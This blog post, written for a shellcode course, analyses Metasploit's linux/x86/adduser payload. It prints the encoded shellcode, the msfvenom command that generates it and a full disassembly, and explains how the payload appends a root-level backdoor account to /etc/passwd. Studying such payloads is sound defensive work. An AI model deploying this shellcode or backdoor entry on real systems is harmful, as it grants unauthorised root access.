19 Minute Read
Student ID: SLAE-1250

Assignment Five: Analysis of Shellcode Part One of Three - linux/x86/adduser

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html

All code can be found in: https://github.com/securitychops/security-tube-slae32

All work was tested on a 32bit version of Ubuntu 12.10

TLDR; - JMP short Final_Breakdown


Assignment five of the SLAE we were asked to perform a thorough analysis of three separate Linux/x86 shellcode payloads of our choosing from msfvenom, this is part one of three, linux/x86/adduser

Before doing anything else we must first generate our shellcode to perform the thorough analysis on!

As with the previous blog entires in the SLAE series, we start off by generating our shellcode and immediately converting it to base64 for easy transport between computers.

The msfvenom command used was as follows:

msfvenom -p linux/x86/adduser | base64


Which produced the following output:

McmJy2pGWM2AagVYMclRaHNzd2RoLy9wYWgvZXRjieNBtQTNgJPoKAAAAG1ldGFzcGxvaXQ6QXov
ZElzajRwNElSYzowOjA6Oi86L2Jpbi9zaApZi1H8agRYzYBqAVjNgA==


Generating the payload

after moving the base64 encoded contents into a file on the x86 Ubuntu VM I converted it back to raw with:

cat linux-x86-adduser.b64 | base64 -d > linux-x86-adduser


followed by the following command to start to analysis via ndisasm:

cat linux-x86-adduser | ndisasm -u -
“-u” specifies x86 and “-“ specifies to use the contents piped into it from the cat operation


which produced the following disassembled output:

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E828000000        call dword 0x53
0000002B  6D                insd
0000002C  657461            gs jz 0x90
0000002F  7370              jnc 0xa1
00000031  6C                insb
00000032  6F                outsd
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B  736A              jnc 0xa7
0000003D  3470              xor al,0x70
0000003F  3449              xor al,0x49
00000041  52                push edx
00000042  633A              arpl [edx],di
00000044  303A              xor [edx],bh
00000046  303A              xor [edx],bh
00000048  3A2F              cmp ch,[edi]
0000004A  3A2F              cmp ch,[edi]
0000004C  62696E            bound ebp,[ecx+0x6e]
0000004F  2F                das
00000050  7368              jnc 0xba
00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld
00000057  6A04              push byte +0x4
00000059  58                pop eax
0000005A  CD80              int 0x80
0000005C  6A01              push byte +0x1
0000005E  58                pop eax
0000005F  CD80              int 0x80


So what the heck is even going on here …

Anytime that we run across an int 0x80 we know that a system level interrupt is being called with whatever value is in eax…armed with that information we can now start to break apart this block of assembly code into more meaningful chunks of code for further analysis:

Side note: While doing our analysis we are going to be going a little out of order from the literal assembly code listed in each block to make the analysis flow a little smoother…here we go!

ASM Code Block One:

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80


The very first thing we need to understand is push byte +0x46 (which is decimal value 70).

By referencing /usr/include/i386-linux-gnu/asm/unistd_32.h we are able to find out that the first function that we are going to be calling is:

#define __NR_setreuid 70

which in C is:

int setreuid(uid_t ruid, uid_t euid);


If we take a moment to think about the convention used to call C functions via a system interrupt (that we covered in our very first blog post for the SLAE) then the first several commands in this code block immediately jump out!


The first instruction is zeroing out ecx (the second parameter in their function call) via xor, however they are then moving ecx into ebx, which will actually be the first parameter being passed into setreuid!

We can think of it like the following: setreuid(ebx, ecx) or setreuid(0, 0).

After all of their function parameters are handled they then call setreuid by invoking the system interrupt.

The pseudocode version of the code would be as follows:

var ecx = 0;
var ebx = 0;
eax = setreuid(ebx, ecx);


So, after doing our analysis of block one we now know that step one of their shellcode is setting the effective user and group of the process/user executing the code to be 0 … which is root!

ASM Code Block Two:

00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80


First off let’s figure out what function they are calling by checkout what 0x05 (decimal 5) is by referencing /usr/include/i386-linux-gnu/asm/unistd_32.h

#define __NR_open 5

which in C is:

int open(const char *pathname, int flags);
more information bout the open function call


Just like in the previous block they start by zeroing out ecx, however ebx is being handled a little bit differently.

Why are they pushing the following hex values directly onto the stack?

push dword 0x64777373
push dword 0x61702f2f
push dword 0x6374652f


If we take a look at the first parameter of open we can see that it takes a pointer to an array of chars, which is in fact what they are setting up! If we convert the hex values to ascii we can see the characters they are pushing onto the stack are:

push dword "dwss"
push dword "ap//"
push dword "cte/"


Which will ultimately put dwssap//cte/ onto the stack (remember, it is backwards since x86 is little endian), so when they push the address of esp into ebx they are setting up the first parameter of the open function to point a char array containing /etc//password!

Just like before, we can think of the call to open like the following: open(ebx, ecx) or open(“/etc//password”, UNKNOWN)

Next up we need to get ecx set to the value of the flag that we want to open the file with, which are defined in: /usr/include/asm-generic/fcntl.h and whose values are stored in octal.

00000020  41                inc ecx
00000021  B504              mov ch,0x4


The first instruction increases the value ecx by one, so it goes from

0000 0000 0000 0000

to

0000 0000 0000 0001


While the second instruction moves the value of four into ch (high portion of the register), leaving cl (low portion of register) completely alone as such:

0000 0000 0000 0000

to

0000 0100 0000 0000


Which will ultimately yield us the following binary value for the ecx register:

0000 0100 0000 0001


Now that we know what the binary value of the ecx register is (our flag) how can we determine what flags really are being applied? The following excerpt from the open function in the flags section gives us a hint:

zero or more file creation flags and file status flags can be bitwise-or’d in flags.

So what we will need to do is go through the flags and perform a bitwise or operation on each of them until we find a match, fortunately for us we can pretty quickly identify which ones are the most likely candidates. Right away the first two that we tried were in fact the very same ones that it ended up being: O_WRONLY and O_APPEND. When we looked at them (in octal) they feel right at first glance:

#define O_WRONLY	00000001

and

#define O_APPEND	00002000

O_WRONLY is immediately obvious since our binary value is 0000 0100 0000 0001 and its octal value is: 00000001.

O_APPEND takes a little more work to recognize but if you convert 00002000 from octal to binary you will find that it ends up being 0000 0100 0000 0000 which is a perfect match to have work in a bitwise or against 0000 0100 0000 0000!

At this point our open function now looks like the following: open(ebx, ecx) or open(“/etc//password”, 0000 0100 0000 0001).

The pseudocode version of the above code would be as follows:

var ebx = eax;
var ecx = O_WRONLY | O_APPEND;
eax = open(ebx, ecx);


So after doing our analysis of the second block of code one we now know that their shellcode is opening up the system file /etc/password as write only with the ability to append content to it!

ASM Code Block Three:

00000025  93                xchg eax,ebx
00000026  E828000000        call dword 0x53
0000002B  6D                insd
0000002C  657461            gs jz 0x90
0000002F  7370              jnc 0xa1
00000031  6C                insb
00000032  6F                outsd
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B  736A              jnc 0xa7
0000003D  3470              xor al,0x70
0000003F  3449              xor al,0x49
00000041  52                push edx
00000042  633A              arpl [edx],di
00000044  303A              xor [edx],bh
00000046  303A              xor [edx],bh
00000048  3A2F              cmp ch,[edi]
0000004A  3A2F              cmp ch,[edi]
0000004C  62696E            bound ebp,[ecx+0x6e]
0000004F  2F                das
00000050  7368              jnc 0xba
00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld
00000057  6A04              push byte +0x4
00000059  58                pop eax
0000005A  CD80              int 0x80


Let’s again start by figuring out what function they are going to ultimately be calling by checking out what the hexadecimal value of 0x04 (decimal 4) is by referencing /usr/include/i386-linux-gnu/asm/unistd_32.h

#define __NR_write 4

which in C is:

ssize_t write(int fd, const void *buf, size_t count);


So it looks like at the end of this code block we are going to be writing to the file /etc/passwd, which makes perfect sense given this shellcode has already opened up that file for write only with append rights!

Now that we have a basic understanding of what this code is going to do lets start walking it and see what is happening before they are writing to the /etc/passwd file:

00000025  93                xchg eax,ebx
00000026  E828000000        call dword 0x53


If we remember from the calling conventions anytime one of our functions has a return value it will end up being placed into the eax register, so when we made the call to open we ended up with an integer value of the new file descriptor inside of it, and if we are going to write to that file that we just opened we will want to use that file descriptor!

Since the first parameter of write is a file descriptor our neighbor friendly shellcode author needed to find a way to get the returned value from open (stored in eax) into the register ebx, so they simply leveraged the xchg instruction to exchange the values of those registers with each other!

Next up is the call instruction to jump to the address 0x53, however if we inspect the assembly code at that memory location we find out that it does not appear that the disassembly was clean as the memory address has the code jumping into the middle of an instruction…

00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld


Lets dig deeper by manually extracting the hex codes directly, starting with what would be in the memory location at address 0x53: 0x59, 0x8B, 0x51 and 0xFC

echo -e "\x59\x8B\x51\xFC" | ndisasm -u -

which produced the following output:

00000000  59                pop ecx
00000001  8B51FC            mov edx,[ecx-0x4]
00000004  0A                db 0x0a


Ok, this is definitely starting to get a little more complicated so lets recap where are at the moment …

We know we are going to call write and in order to do that we need to setup three parameters: fd, *buf and count

The register ebx is being handled from the xchg operation earlier so we have satisfied the first parameter:

write(ebx, const void *buf, size_t count);


Next up we need to work on the ecx register (the *buf) parameter. We can see that they immediately pop what is currently on the stack directly into ecx, but what is in the stack? At the moment it is the memory address of the of the command directly after call dword 0x53, which ends up being 00000004 0A db 0x0a, which is the memory location of the string that we would like to add to our /etc/passwd file!

How did we know this? This is an active example of the pop and call in action (from the infamous jmp, pop and call fame)!

Before we keep digging into the value pointed to in ecx lets take one quick moment to point out that the author of the shellcode moved into edx (our character count to write) the length of ecx subtracting four, so effectively something like (length(ecx) - 4). But why did they subtract four bytes from it? As it turns out if you remember we executed call dword 0x53 which comes after our string located at 00000004 0A db 0x0a, which is not part of that string … so we needed to remove those four bytes from the count of the buffer being written to avoid writing garbage into the /etc/passwd file.

Ok, so right now ecx contains the memory address pointing to 0x0A, but what is in there? From looking at the disassembled code it is pretty clear that there is just a lot of garbage in there right now, so we need to perform the same action of manually disassembling it like we did before, except in this case we know this is a string so we just want to see what the value will be. Fortunately xxd affords us the ability to do that with the following command:

From looking at the garbage hex we need to extract everything from 0x6D to 0x0A as such:

echo 6D65746173706C6F69743A417A2F6449736A3470344952633A303A303A3A2F3A2F62696E2F73680A | xxd -r -p


Which returns the following value

metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh


It would be incredibly easy to accidentally end up using 0x6D65746173706C6F69743A417A2F6449736A3470344952633A303A303A3A2F3A2F62696E2F73680A598B51FC (ask me how I know …) but remember, the reason why we did not have those last four bytes on the string was because they were actually the very same valid instructions that we jumped to earlier via the call instruction and should not be part of our string to be written our to the /etc/passwd file!

At this point our write function now looks like the following: write(ebx, ecx, edx) or write(FileId, “metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh”, 40).

The pseudocode version of the above code would be as follows:

var ebx = eax;
var ecx = "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh";
var edx = length(ecx);
eax = write(ebx, ecx, edx);


We are now up to the final block of code, which happily is very short and easy to understand!

ASM Code Block Four:

0000005C  6A01              push byte +0x1
0000005E  58                pop eax
0000005F  CD80              int 0x80


As we have done several times before, we start off by checking what function that they are calling with the hexadecimal value of 0x01 (decimal 1) by referencing /usr/include/i386-linux-gnu/asm/unistd_32.h.

Doing so shows us that this block code is doing nothing more than simply exiting the program, so we are now done with the analysis of the the first of three shellcodes from msfvenom!

#define __NR_exit 1

which in C is:

void _exit(int status);

Final_Breakdown:


The linux/x86/adduser shellcode from msfvenom performs the following steps:

  • Sets the userid and effective groupid of the user/process to be zero via setreuid
  • Opens /etc/passwd for writing/appending via open
  • Writes metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh to the /etc/passwd file via write
  • Exits the program via _exit

Chops

growing my chops in cybersecurity